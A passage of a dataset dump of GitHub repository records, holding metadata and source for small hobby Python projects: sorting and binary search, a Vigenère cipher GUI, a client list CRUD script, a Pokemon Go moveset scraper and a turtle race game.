random.choice(weightArr)\n if word != END_CONST:\n words.append(word)\n \n return capFirstLet(\" \".join(words))+\".\"\n\ndef genParagraph(num):\n final = \"\"\n for i in range(num):\n final += generate() + \" \"\n\n return final.strip()\n\ndef generateFromDataset(filename, num, numToGen):\n sentences = [decapFirstLet(s).replace(\".\", \"\").replace(\"& \", \"\").replace(\"?\", \"\").\n replace(\"!\", \"\").replace(\";\", \"\").replace(\",\", \"\").replace(\"\\\"\", \"\").\n replace(\"'\", \"\") for s in getCSVList(filename)]\n\n global data\n data = {}\n for i in sentences:\n add(i)\n\n return genParagraph(numToGen)\n\n#getCSVList(\"messages.csv\")\nprint(generateFromDataset(\"messages.csv\", 1000, 10))\n" } ]
6
ifaz26/travis-lab
https://github.com/ifaz26/travis-lab
dd56dab2d8eefe69500306a2df21387fbfcadfcc
b5d2c67078bd4a249fd804aad3c9d9c4f0c15c19
c9eec57cef5c4fe4e68daef4ed9bb1ebd1aea8ad
refs/heads/master
2020-04-06T09:41:40.670175
2018-12-03T16:29:02
2018-12-03T16:29:02
157,352,852
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6724137663841248, "alphanum_fraction": 0.6724137663841248, "avg_line_length": 28, "blob_id": "f9b576996cab3adf883cf40ec8306a421482bd02", "content_id": "f204296e159031300f7e07e43c1464cd97c74c4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 232, "license_type": "no_license", "max_line_length": 45, "num_lines": 8, "path": "/HelloPython.py", "repo_name": "ifaz26/travis-lab", "src_encoding": "UTF-8", "text": "import datetime\nprint (\"hello world!\")\nnow = datetime.datetime.now()\nprint (\"Current date and time is \")\nprint (now.strftime(\"%A, %d-%m-%Y : %H: %M\"))\nprint (\"whatever\")\nprint (\"this is my editted line\")\nprint (\"presentation file\")\n" } ]
1
pricarvalho/algorithms
https://github.com/pricarvalho/algorithms
b98d2d44365d272d565a4b05c4a4705663f28172
1c67e124dd19f8267c9c1fd206a590d1c0a4c53f
6dfea76c8d6057fe381be1a5bcceac6decb6ee7b
refs/heads/master
2021-09-07T06:26:42.183205
2018-02-18T12:05:40
2018-02-18T12:05:40
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5325301289558411, "alphanum_fraction": 0.5542168617248535, "avg_line_length": 18.761905670166016, "blob_id": "56c95f673590cbdbd6b8b5dfd60ac0da6e7a3c48", "content_id": "58777aa1114c772b83dc777a30ef9ea1b8f611df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 415, "license_type": "no_license", "max_line_length": 43, "num_lines": 21, "path": "/src/main/python/Sorting.py", "repo_name": "pricarvalho/algorithms", "src_encoding": "UTF-8", "text": "def find_lower_value_from(list):\n lower = list[0]\n index_lower = 0\n\n for i in range(1, len(list)):\n if list[i] < lower:\n lower = list[i]\n index_lower = i\n return index_lower\n\n\ndef sort(list):\n new_list = []\n for i in range(len(list)):\n lower = find_lower_value_from(list)\n new_list.append(list.pop(lower))\n\n return new_list\n\n\nprint sort([5,3,6,2,10])\n" }, { "alpha_fraction": 0.5987879037857056, "alphanum_fraction": 0.6266666650772095, "avg_line_length": 22.571428298950195, "blob_id": "69d0b093639a3f5748180d4bff3facb5314bea73", "content_id": "1c0fea7b7c91f81adc76320f70de1f0cca37b020", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 825, "license_type": "no_license", "max_line_length": 72, "num_lines": 35, "path": "/src/main/python/BinarySearch.py", "repo_name": "pricarvalho/algorithms", "src_encoding": "UTF-8", "text": "def binary_search(list, item):\n low = 0\n high = len(list) - 1\n return recursive_binary_search(low, high, list, item)\n\n\ndef recursive_binary_search(low, high, list, item):\n middle = (low + high) / 2\n guess = list[middle]\n\n if guess == item:\n return middle\n if low <= high:\n if guess > item:\n return recursive_binary_search(low, middle - 1, list, item)\n else:\n return recursive_binary_search(middle + 1, high, list, item)\n return None\n\n\ndef calculate_log(elementsSize, iteractions = 0):\n result = elementsSize / 2\n\n if result != 0:\n return calculate_log(result, iteractions + 1)\n\n return iteractions\n\nmy_list = [1,3,5,7,9]\n\nprint binary_search(my_list, 3)\nprint binary_search(my_list, -1)\n\nprint calculate_log(128)\nprint calculate_log(128 * 2)\n" } ]
2
Polisika/cipher_vigener
https://github.com/Polisika/cipher_vigener
3abe587ae45f525667511f48a3b9f7e83d877560
484a8238af1a1142939ac05ac7e039583173e002
385aaff61e4740769f28a7751aabe3d8e1ef3078
refs/heads/main
2023-01-15T15:04:17.502090
2020-11-15T15:53:15
2020-11-15T15:53:15
313,044,570
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4810126721858978, "alphanum_fraction": 0.5305907130241394, "avg_line_length": 33.03703689575195, "blob_id": "781397452a28b2bf2a1756f4515f50ecbb177369", "content_id": "923eddf2618609fe61b3baddc58e2c8a289f27c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1066, "license_type": "no_license", "max_line_length": 131, "num_lines": 27, "path": "/encrypt.py", "repo_name": "Polisika/cipher_vigener", "src_encoding": "UTF-8", "text": "# По варианту задания задан алфавит A-Z и ключ длиной 5.\r\nX = 27\r\nalphabet_rev = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9, 'K': 10, 'L': 11, 'M': 12, 'N': 13,\r\n 'O': 14, 'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19, 'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25, '_': 26}\r\nalphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ_\"\r\n\r\n\r\ndef encrypt_vigenere(text: str, key: str):\r\n \"\"\"Зашифровать по алгоритму Виженера\"\"\"\r\n l_key = len(key)\r\n res = \"\"\r\n\r\n for i in range(len(text)):\r\n res += alphabet[(alphabet_rev[text[i]] + alphabet_rev[key[i % l_key]]) % X]\r\n\r\n return res\r\n\r\n\r\ndef decrypt_vigenere(encrypted_text: str, key: str):\r\n \"\"\"Расшифровать текст, зашифрованный алгоритмом Виженера\"\"\"\r\n l_key = len(key)\r\n res = \"\"\r\n\r\n for i in range(len(encrypted_text)):\r\n res += alphabet[(alphabet_rev[encrypted_text[i]] - alphabet_rev[key[i % l_key]] + X) % X]\r\n\r\n return res\r\n\r\n" }, { "alpha_fraction": 0.5824795365333557, "alphanum_fraction": 0.5906762480735779, "avg_line_length": 37.836734771728516, "blob_id": "7b2026d8006bfbe59124bbffbc149a67e1c5bf62", "content_id": "a543c7680a393cad5867136869c2bfeb09c9eca4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2415, "license_type": "no_license", "max_line_length": 159, "num_lines": 49, "path": "/main.py", "repo_name": "Polisika/cipher_vigener", "src_encoding": "UTF-8", "text": "# coding: utf8\r\nimport encrypt as e\r\nimport PySimpleGUI as sg\r\n\r\ne_text_in = sg.Output()\r\nd_text_out = sg.Output()\r\nd_text_in = sg.Output()\r\ne_text_out = sg.Output()\r\n\r\nlayout = [\r\n [sg.Text(\"Текст из файла\"), sg.InputText(), sg.FileBrowse('Выбрать файл'), sg.Submit('Вставить для кодирования'), sg.Submit('Вставить для декодирования')],\r\n [sg.Text('Ключ'), sg.InputText()],\r\n [e_text_in, sg.Submit('Закодировать'), d_text_out],\r\n [d_text_in, sg.Submit('Декодировать'), e_text_out],\r\n ]\r\n\r\nwindow = sg.Window('4 Lab', layout)\r\nwhile True:\r\n event, values = window.read()\r\n if event in (None, 'Exit', 'Cancel'):\r\n break\r\n\r\n elif event == \"Вставить для кодирования\":\r\n with open(values[0], 'r') as fileIn:\r\n e_text_in.update(fileIn.read())\r\n\r\n elif event == \"Вставить для декодирования\":\r\n with open(values[0], 'r') as fileIn:\r\n d_text_in.update(fileIn.read())\r\n\r\n elif event == \"Закодировать\":\r\n # Убираем символ переноса строки из кодированного текста (реализация Get())\r\n # Так же меняем пробел на нижнее подчеркивание по заданию\r\n e_text = e_text_in.Get()[:-1].replace(' ', '_')\r\n key = values[1]\r\n if len(e_text) > 0 and len(key) > 0 and len(key) == 5:\r\n d_text_out.update(e.encrypt_vigenere(e_text, key))\r\n else:\r\n d_text_out.update('Введите текст в поле и задайте ключ длиной 5 символов')\r\n\r\n elif event == \"Декодировать\":\r\n # Убираем символ переноса строки из кодированного текста (реализация Get())\r\n # Так же меняем пробел на нижнее подчеркивание по заданию\r\n d_text = d_text_in.Get()[:-1].replace(' ', '_')\r\n key = values[1]\r\n if len(d_text) > 0 and len(key) > 0 and len(key) == 5:\r\n e_text_out.update(e.decrypt_vigenere(d_text, key).replace('_', ' '))\r\n else:\r\n e_text_out.update('Введите текст в поле и задайте ключ длиной 5 символов')\r\n" } ]
2
aeonics/Proyecto_Ventas_Python
https://github.com/aeonics/Proyecto_Ventas_Python
6f841810fa9a48b84b1b79504c5ac827dbfc1dab
60d5c0ebb096792f94d79870ed8bc4f72985ed1b
cdfe72f030f911be8b811cb8150a433d382df195
refs/heads/master
2020-12-10T17:52:36.641691
2020-01-14T23:51:49
2020-01-14T23:51:49
233,665,547
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5910304188728333, "alphanum_fraction": 0.5920982360839844, "avg_line_length": 26.144927978515625, "blob_id": "0edb6c02226b68d5c550398d8ea108280d2d7ea4", "content_id": "4d991679b107fac142409f59b66679f5ed521574", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3750, "license_type": "no_license", "max_line_length": 274, "num_lines": 138, "path": "/main.py", "repo_name": "aeonics/Proyecto_Ventas_Python", "src_encoding": "UTF-8", "text": "import sys #sys.exit perimte terminar la ejecución del script devolviendo un valor (en Unix/Linux esto se considera una muy buena práctica ya que permite encadenar comandos en función de si terminaron bien, retornando 0 o si tuvieron aglún problema, un valor diferente a 0).\n\nclients =[ #contiene dos diccionarios\n {\n 'name': 'Pablo',\n 'company': 'Google',\n 'email':'[email protected]',\n 'position': 'Software Engineer',\n },\n {\n 'name': 'Ricardo',\n 'company': 'Facebook',\n 'email': '[email protected]',\n 'position': 'Data Engineer',\n }\n]\n\n#Crear CLientes\ndef create_client(client):\n global clients #variable global y se puede usar dentro de la funcion\n if client not in clients:\n clients.append(client)\n else:\n _not_in_list()\n\n#Listar clientes\ndef list_clients():\n \n for idx, client in enumerate(clients):#enumeramos la lista pero con indice\n print('{uid} | {name} | {company} | {email} | {position}'.format(uid=idx,\n name=client['name'],\n company= client['company'],\n email=client['email'],\n position=client['position']))\n\n\n#Actualizar el cliente\ndef update_client(client_name, updated_name):\n global clients\n\n if client_name in clients:\n index = clients.index(client_name)\n clients[index] = updated_name\n else:\n _not_in_list()\n\n#Borrar cliente\ndef delete_client(client_name):\n global clients\n\n if client_name in clients:\n clients.remove(client_name)\n else:\n _not_in_list()\n\n\n#Encuentra el cliente\ndef search_client(client_name):\n for client in clients:\n if client != client_name:\n continue\n else:\n return True\n\n\n\n\n#Pantalla de menu\ndef _print_welcome():\n print('WELCOME TO SALES')\n print('*'*50)\n print('What would like to do? ')\n print('[L]ist clients')\n print('[C]reate client')\n print('[D]elete client')\n print('[U]pdate client')\n print('[S]earch client')\n\n\ndef _get_client_field(field_name):\n field = None\n\n while not field:\n field = input('What\\'s the client {} '. format(field_name))\n\n return field\n#Obtener el nombre del cliente\ndef _get_client_name():\n client_name = None\n while not client_name:\n client_name= input ('What\\'s client name: ')\n if client_name.lower() == 'exit':\n client_name = None\n break\n\n if not client_name:\n sys.exit()\n\n return client_name\n\n#mensajes sin interaccionc\ndef _not_in_list():\n print('Client not in list')\n\n#Main\nif __name__ == \"__main__\":\n _print_welcome()\n#Pedir al usuario opcion\n command = input('')\n if command.lower() == 'c':\n client = {\n 'name':_get_client_field('name'), \n 'company': _get_client_field('company'),\n 'email': _get_client_field('email'),\n 'position': _get_client_field('position')\n }\n create_client(client)\n list_clients()\n elif command.lower() == 'd':\n client_name = _get_client_name()\n delete_client(client_name)\n list_clients()\n elif command.lower() == 'u':\n client_name = _get_client_name()\n updated_client_name = input('What\\'s the updated client name==> ')\n update_client(client_name, updated_client_name)\n list_clients()\n elif command.lower() == 's':\n client_name =_get_client_name()\n found = search_client(client_name)#found es true o false\n if found:\n print('The client is in the client\\'s list')\n else:\n print('The client : {} is not in our client\\'s list'.format(client_name))\n elif command.lower() == 'l':\n list_clients()\n else:\n print('Invalid command!! ')\n" }, { "alpha_fraction": 0.7804877758026123, "alphanum_fraction": 0.7804877758026123, "avg_line_length": 19.5, "blob_id": "818f3822937ebff2a9243152c4eebddf3f5f36a2", "content_id": "62da06a6ae6aa7943a9c950df026c2f8a4214e25", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 41, "license_type": "no_license", "max_line_length": 24, "num_lines": 2, "path": "/README.md", "repo_name": "aeonics/Proyecto_Ventas_Python", "src_encoding": "UTF-8", "text": "# Proyecto_Ventas_Python\n CRUD de python\n" } ]
2
sameerapriya/git_new
https://github.com/sameerapriya/git_new
a36e2cf5503e9658ec2c09d22f1a35ecf71db437
d34abfd79864ff951ef3368cd724b19ec4a69c33
e74ea06a52b7eec878d20fa62b023ef31c1433b3
refs/heads/master
2021-01-06T09:46:30.848760
2020-03-09T07:14:14
2020-03-09T07:14:14
241,284,804
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6837160587310791, "alphanum_fraction": 0.6983298659324646, "avg_line_length": 35.88461685180664, "blob_id": "df34edef1bbb03c254d8768f483a457e41522344", "content_id": "ac84b80ff2accf9a060187fd0b4cc05d2662a039", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 958, "license_type": "no_license", "max_line_length": 81, "num_lines": 26, "path": "/excelproject.py", "repo_name": "sameerapriya/git_new", "src_encoding": "UTF-8", "text": "import openpyxl as xl\nfrom openpyxl.chart import BarChart,Reference\n\n\ndef process_workbook(filename):\n wb = xl.load_workbook(filename)#accessing the workbook\n sheet = wb['Sheet1'] #accessing the sheet\n #cell = sheet['a1']\n #cell = sheet.cell(1 , 1)\n #print(cell.value) #what is present in that particular cell\n #print(sheet.max_row)#for number of rows\n\n for row in range(2,sheet.max_row+1):\n cell=sheet.cell(row,3) #accessing elements\n corrected_price = cell.value*0.9 # to apply the formula\n corrected_price_cell = sheet.cell(row,4) #assigning them cells via object\n corrected_price_cell.value = corrected_price\n\n values = Reference(sheet,min_row=2,max_row=sheet.max_row,min_col=4,max_col=4)\n #creating instance of a reference class and selecting the elements\n chart = BarChart()\n chart.add_data(values)\n sheet.add_chart(chart,'e8')\n wb.save(filename)\n\nprocess_workbook(\"transactions.xlsx\")" } ]
1
LeviDettwyler/illumina-barcode-balancer
https://github.com/LeviDettwyler/illumina-barcode-balancer
ba0b7d51797972347d6e875712ad7ecc8134610d
55deb00fc5c09293286ce64c6ac253431eab466a
e7fcaaab83d2b6cc50beed3725829033a35de66a
refs/heads/master
2016-08-04T14:06:46.654388
2014-01-30T08:31:03
2014-01-30T08:31:03
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7212205529212952, "alphanum_fraction": 0.7256125807762146, "avg_line_length": 28.033557891845703, "blob_id": "70ccc909516595fa9cc8d653afb6d6727ffd1478", "content_id": "0f69df6fac502e2bbd5dfc8f890aa36d40df828c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4327, "license_type": "no_license", "max_line_length": 121, "num_lines": 149, "path": "/src/ibarcode.py", "repo_name": "LeviDettwyler/illumina-barcode-balancer", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3.3\n\n'''\nCopyright © 2014 Oregon State University\nAll Rights Reserved.\n\nPermission to use, copy, modify, and distribute this software and its\ndocumentation for educational, research and non-profit purposes, without fee,\nand without a written agreement is hereby granted, provided that the above\nopyright notice, this paragraph and the following three paragraphs appear in all\ncopies.\n\nPermission to incorporate this software into commercial products may be obtained\nby contacting Oregon State University Office of Technology Transfer.\n\nThis software program and documentation are copyrighted by Oregon State\nUniversity. The software program and documentation are supplied \"as is\", without\nany accompanying services from Oregon State University. OSU does not warrant\nthat the operation of the program will be uninterrupted or error-free. The\nend-user understands that the program was developed for research purposes and is\nadvised not to rely exclusively on the program for any reason.\n\nIN NO EVENT SHALL OREGON STATE UNIVERSITY BE LIABLE TO ANY PARTY FOR DIRECT,\nINDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING LOST PROFITS,\nARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF OREGON\nSTATE UNIVERSITY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. OREGON\nSTATE UNIVERSITY SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\nPARTICULAR PURPOSE AND ANY STATUTORY WARRANTY OF NON-INFRINGEMENT. THE SOFTWARE\nPROVIDED HEREUNDER IS ON AN \"AS IS\" BASIS, AND OREGON STATE UNIVERSITY HAS NO\nOBLIGATIONS TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\nMODIFICATIONS.\n'''\n\nimport random\nimport sys\nimport argparse\nimport io\nimport csv\n\nLEFT = False\nRIGHT = True\n\n\n# Generates a random selection of barcodes for our problem (for testing).\n# Returns as a list.\ndef genBarcodes(num, minLength, maxLength):\n\trandom.seed(None)\n\tbarcodes = []\n\tfor i in range(num):\n\t\tbarcode = \"\"\n\t\tfor j in range(random.randint(minLength, maxLength)):\n\t\t\tbarcode += random.choice([\"A\",\"G\",\"C\",\"T\"])\n\t\tbarcodes.append(barcode)\n\treturn barcodes\n\n\nclass G():\n\t# 'barcodes' is the list of barcodes that go in this group.\n\t# 'n' indicates the index this group deals with.\n\t\t# Increment n after each recursive instantiation.\n\t# 'N' indicates the max index to group.\n\t#\n\t#\n\tdef __init__(self, barcodes, n, N):\n\t\tself.barcodes = barcodes\n\t\tself.dir = LEFT\n\t\tif n <= N:\n\t\t\tself.terminal = False\n\t\t\tleft = []\n\t\t\tright = []\n\t\t\tfor barcode in barcodes:\n\t\t\t\tif barcode[n] in [\"A\",\"C\"]:\n\t\t\t\t\tleft.append(barcode)\n\t\t\t\telif barcode[n] in [\"G\",\"T\"]:\n\t\t\t\t\tright.append(barcode)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Malformed barcodes.\")\n\t\t\t\t\tsys.exit()\n\t\t\tself.leftG = G(left, n+1, N)\n\t\t\tself.rightG = G(right, n+1, N)\n\t\telse:\n\t\t\tself.terminal = True\n\n\tdef choose(self, parentdir):\n\t\tdirection = self.dir ^ parentdir\n\t\tself.dir = not self.dir\n\t\tif self.terminal:\n\t\t\tif self.barcodes != []:\n\t\t\t\treturn self.barcodes.pop()\n\t\t\telse:\n\t\t\t\treturn None\n\t\telse:\n\t\t\tif direction == LEFT:\n\t\t\t\treturn self.leftG.choose(not self.dir)\n\t\t\telif direction == RIGHT:\n\t\t\t\treturn self.rightG.choose(not self.dir)\n\n\ndef barcodeRange(barcodes):\n\ttmp = [len(x) for x in barcodes]\n\treturn (min(tmp), max(tmp))\n\n\ndef barcodeBalance(barcodes, n, depth=None):\n\tN = len(barcodes)\n\tsolution = []\n\tminLength, maxLength = barcodeRange(barcodes)\n\tif depth == None:\n\t\tdepth = minLength - 1\n\tgroup = G(barcodes, 0, depth)\n\n\ti = 0\n\twhile i < n:\n\t\tbarcode = group.choose(0)\n\t\tif barcode != None:\n\t\t\tsolution.append(barcode)\n\t\t\ti += 1\n\n\treturn solution\n\n\ndef parse_file(path):\n\tcsv_array = []\n\twith open(path, 'r') as file:\n\t\tsio_file = io.StringIO(file.read())\n\treader = csv.reader(sio_file, delimiter=',')\n\tfor row in reader:\n\t\tcsv_array.append(row)\n\treturn csv_array[0]\n\n\ndef main():\n\tparser = argparse.ArgumentParser()\n\n\tparser.add_argument(\"file\", help=\"The CSV file from which to read the barcodes. All the barcodes should be in one row.\")\n\tparser.add_argument(\"num\", help=\"The number of barcodes to select from the file.\")\n\n\targs = parser.parse_args()\n\tbarcodes = parse_file(args.file)\n\tnum = int(args.num)\n\n\t# barcodes = genBarcodes(num=400, minLength=6, maxLength=8)\n\tsolution = barcodeBalance(barcodes, num)\n\tprint(solution)\n\n\nif __name__ == \"__main__\":\n main()\n" } ]
1
HelloZukoHere/PokemonGoWebScraper
https://github.com/HelloZukoHere/PokemonGoWebScraper
650385f328ce012f2c84f9b421c1f5637208631a
292c43bdd904a519deaa68c046e9c3601969644f
67c387d535681a31c31112b139ac440b1865c1fe
refs/heads/master
2020-04-24T13:48:25.713110
2019-02-28T04:57:56
2019-02-28T04:57:56
172,000,355
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8526315689086914, "alphanum_fraction": 0.8526315689086914, "avg_line_length": 46.5, "blob_id": "fb70ec0ba67941042645ea62c21856a02464c4dc", "content_id": "18644a65c72f3be8285d46077e3a85e8344da67c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 95, "license_type": "no_license", "max_line_length": 72, "num_lines": 2, "path": "/README.md", "repo_name": "HelloZukoHere/PokemonGoWebScraper", "src_encoding": "UTF-8", "text": "# PokemonGoWebScraper\nPython web scraper to pull information about pokemon go optimal movesets\n" }, { "alpha_fraction": 0.6743058562278748, "alphanum_fraction": 0.687086820602417, "avg_line_length": 28.226667404174805, "blob_id": "6fe4faaa78e921db9659761f9457d9c033e29dd7", "content_id": "94636646525141336230f0574822eb33d122e911", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2269, "license_type": "no_license", "max_line_length": 98, "num_lines": 75, "path": "/WebScrape_toCSV.py", "repo_name": "HelloZukoHere/PokemonGoWebScraper", "src_encoding": "UTF-8", "text": "#Matthew Lee\r\n#Second web scraper\r\n#from https://www.youtube.com/watch?v=XQgXKtPSzUI\r\n\r\n\r\n\r\n#Goal\r\n#take information from https://pokemongo.gamepress.gg/pokemon/473\r\n#for example mamoswine\r\n#print to CSV or just show the best movesets\r\n#additional features - GUI to type in pokemon name (lookup table for the number to alter the URL\r\n\r\nimport urllib\r\nfrom urllib.request import urlopen as uReq\r\nimport csv\r\nimport requests\r\nfrom bs4 import BeautifulSoup as soup\r\n\r\n#import National Dex table\r\nwith open('NationalDex.csv', mode='r') as infile:\r\n reader = csv.reader(infile)\r\n NatDex = {rows[0]: rows[1] for rows in reader}\r\n\r\n#get user input from the console\r\n#user types name of pokemon they want the moveset for\r\npokeInput = input(\"Enter the Pokemon name to lookup \\n\")\r\ntype(pokeInput)\r\nprint(pokeInput)\r\nprint(\"OK! Let's look up the best Pokemon Go movesets for \" + pokeInput)\r\npokeNum = NatDex[pokeInput.lower()]\r\n\r\n\r\nmyURL = 'https://pokemongo.gamepress.gg/pokemon/' + pokeNum\r\nprint(myURL)\r\n#Example,\r\n#Mamoswine is 473\r\n#Mewtwo is 150\r\n#Roserade is 407\r\n\r\n\r\npageRequest = requests.get(myURL)\r\npageHTML = pageRequest.text\r\n\r\n#now, parse the HTML\r\npageSOUP = soup(pageHTML, \"html.parser\")\r\n\r\n#find the quick moves, charge moves, and the grade of each pair\r\nQuickMoves = pageSOUP.findAll(\"td\", {\"headers\": \"view-field-quick-move-table-column\"})\r\nChargeMoves = pageSOUP.findAll(\"td\", {\"headers\": \"view-field-charge-move-table-column\"})\r\nMoveGrade = pageSOUP.findAll(\"td\", {\"headers\": \"view-field-offensive-moveset-grade-table-column\"})\r\n\r\nlistAttack = []\r\nlistCharge = []\r\nlistGrade = []\r\n\r\nfor x in QuickMoves:\r\n Quick = str(x.article.h2.a.span.span.text)\r\n listAttack.append(Quick)\r\n\r\nfor y in ChargeMoves:\r\n Charge = str(y.article.h2.a.span.span.text)\r\n listCharge.append(Charge)\r\n\r\nfor z in MoveGrade:\r\n Grade = str(z.div.text)\r\n listGrade.append(Grade)\r\n\r\nmovesExplain = pageSOUP.findAll(\"li\", {\"dir\": \"ltr\"})\r\nfor line in movesExplain:\r\n print(line.p.text)\r\n\r\nprint(listAttack[0] + \" + \" + listCharge[0] + \" = \" + listGrade[0])\r\nprint(listAttack[1] + \" + \" + listCharge[1] + \" = \" + listGrade[1])\r\nprint(listAttack[2] + \" + \" + listCharge[2] + \" = \" + listGrade[2])\r\nprint(listAttack[3] + \" + \" + listCharge[3] + \" = \" + listGrade[3])\r\n\r\n" } ]
2
Iamsomenub/turtle_race
https://github.com/Iamsomenub/turtle_race
cf2204826b52df0ff2648a8d8332f535c34098be
cee1e4808638e5456ae7bc78d4728d0a768f26e1
5c874af3e8107aa8e44b3948c571d2c10aa5a8e6
refs/heads/master
2023-05-10T17:53:27.033169
2021-06-09T00:41:32
2021-06-09T00:41:32
375,181,640
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5552544593811035, "alphanum_fraction": 0.5889792442321777, "avg_line_length": 24.159090042114258, "blob_id": "6df78b535adbdbcc284fc5f5d27154ac31c8795f", "content_id": "956a4942228287fa6941d37e2818ca9ed66def28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3321, "license_type": "no_license", "max_line_length": 70, "num_lines": 132, "path": "/turtle_run.py", "repo_name": "Iamsomenub/turtle_race", "src_encoding": "UTF-8", "text": "import turtle\nimport random\n\nmin_speed = 7\nmax_speed = 15\n\nhalf_width = 650\nhalf_num_turtles = 4\nlane_width = 80\n\nturtles = []\nspeeds = []\nrankings = []\n\nhalf_height = lane_width * half_num_turtles\nnum_turtles = 2 * half_num_turtles\ndisplay_font = (\"Arial\", 20, \"normal\")\n\ndef setup_racetrack():\n pen = turtle.Turtle()\n pen.pencolor(\"white\")\n pen.pensize(5)\n pen.ht()\n pen.penup()\n pen.goto(-half_width, -half_height)\n pen.left(90)\n pen.pendown()\n pen.forward(2 * half_height)\n pen.penup()\n pen.goto(-half_width - 17, half_height + 20)\n pen.pendown()\n pen.write(\"Start\", font=display_font)\n pen.penup()\n pen.goto(half_width, half_height)\n pen.pendown()\n pen.back(2 * half_height)\n pen.penup()\n pen.goto(half_width - 25, half_height + 20)\n pen.pendown()\n pen.write(\"Finish\", font=display_font)\n pen.penup()\n pen.pensize(1)\n pen.pencolor(\"yellow\")\n pen.right(90)\n for i in range(-half_num_turtles, half_num_turtles + 1):\n pen.goto(-half_width + 2, i * lane_width)\n pen.pendown()\n pen.forward(2 * half_width - 2)\n pen.penup()\n for i in range(-half_num_turtles, half_num_turtles):\n pen.goto(-half_width - 50, i * lane_width + lane_width / 2)\n pen.pendown()\n pen.write(f\"{i + half_num_turtles + 1}\", font=display_font)\n pen.penup()\n\n\ndef create_turtle(ycoor):\n turtle1 = turtle.Turtle(shape=\"turtle\", visible=False)\n turtle1.penup()\n turtle1.goto(-half_width, ycoor)\n turtle1.showturtle()\n turtle1.color(\n random.randrange(0, 255),\n random.randrange(0, 255),\n random.randrange(0, 255))\n turtle1.turtlesize(3, 3, 2)\n turtle1.pencolor(\n random.randrange(0, 255),\n random.randrange(0, 255),\n random.randrange(0, 255))\n turtle1.turtlesize(outline=3)\n return turtle1\n\n\ndef setup_turtles():\n for i in range(-half_num_turtles, half_num_turtles):\n t = create_turtle(i * lane_width + lane_width / 2)\n turtles.append(t)\n\n\ndef initialize_speeds():\n for i in range(2 * half_num_turtles):\n speeds.append(random.randrange(min_speed, max_speed))\n\n \ndef race_turtles():\n min_speed = min(speeds)\n k = 0\n while k <= (2 * half_width / min_speed) + 1:\n for i in range(num_turtles):\n t = turtles[i]\n if t.xcor() < half_width:\n t.forward(speeds[i])\n else:\n turtle_id = i + 1\n if turtle_id not in rankings:\n rankings.append(turtle_id)\n k += 1\n\n\ndef print_rankings():\n ranking_pen = turtle.Turtle()\n ranking_pen.pencolor(0, 100, 200)\n ranking_pen.ht()\n ranking_pen.penup()\n ranking_pen.goto(-half_width - 50, -half_height - 50)\n ranking_pen.pendown()\n ranking_pen.write(f\"Arrival order: {rankings}\", font=display_font)\n ranking_pen.penup()\n \n \ndef main():\n turtle.setup(200 + 2 * half_width, 200 + 2 * half_height)\n turtle.Screen().colormode(255)\n turtle.Screen().bgcolor(101, 140, 90)\n\n old_val = turtle.tracer()\n turtle.tracer(0, 0)\n \n setup_racetrack()\n\n turtle.update()\n turtle.tracer(old_val)\n\n setup_turtles()\n initialize_speeds()\n race_turtles()\n print_rankings()\n\n\nif __name__ == \"__main__\":\n main()\n" } ]
1
aakash2602/InterviewBit
https://github.com/aakash2602/InterviewBit
91303d70c1d1ddb2d4b26e9773db7c61e409a44b
5a57bf5ce3922a7199f546b4d1185c1b9eff55af
1ee25d63780bd73d5d50663da1d5ee3bcbe730b8
refs/heads/master
2018-10-30T18:38:39.595204
2018-08-23T18:40:36
2018-08-23T18:40:36
108,646,034
0
0
null
null
null
null
null
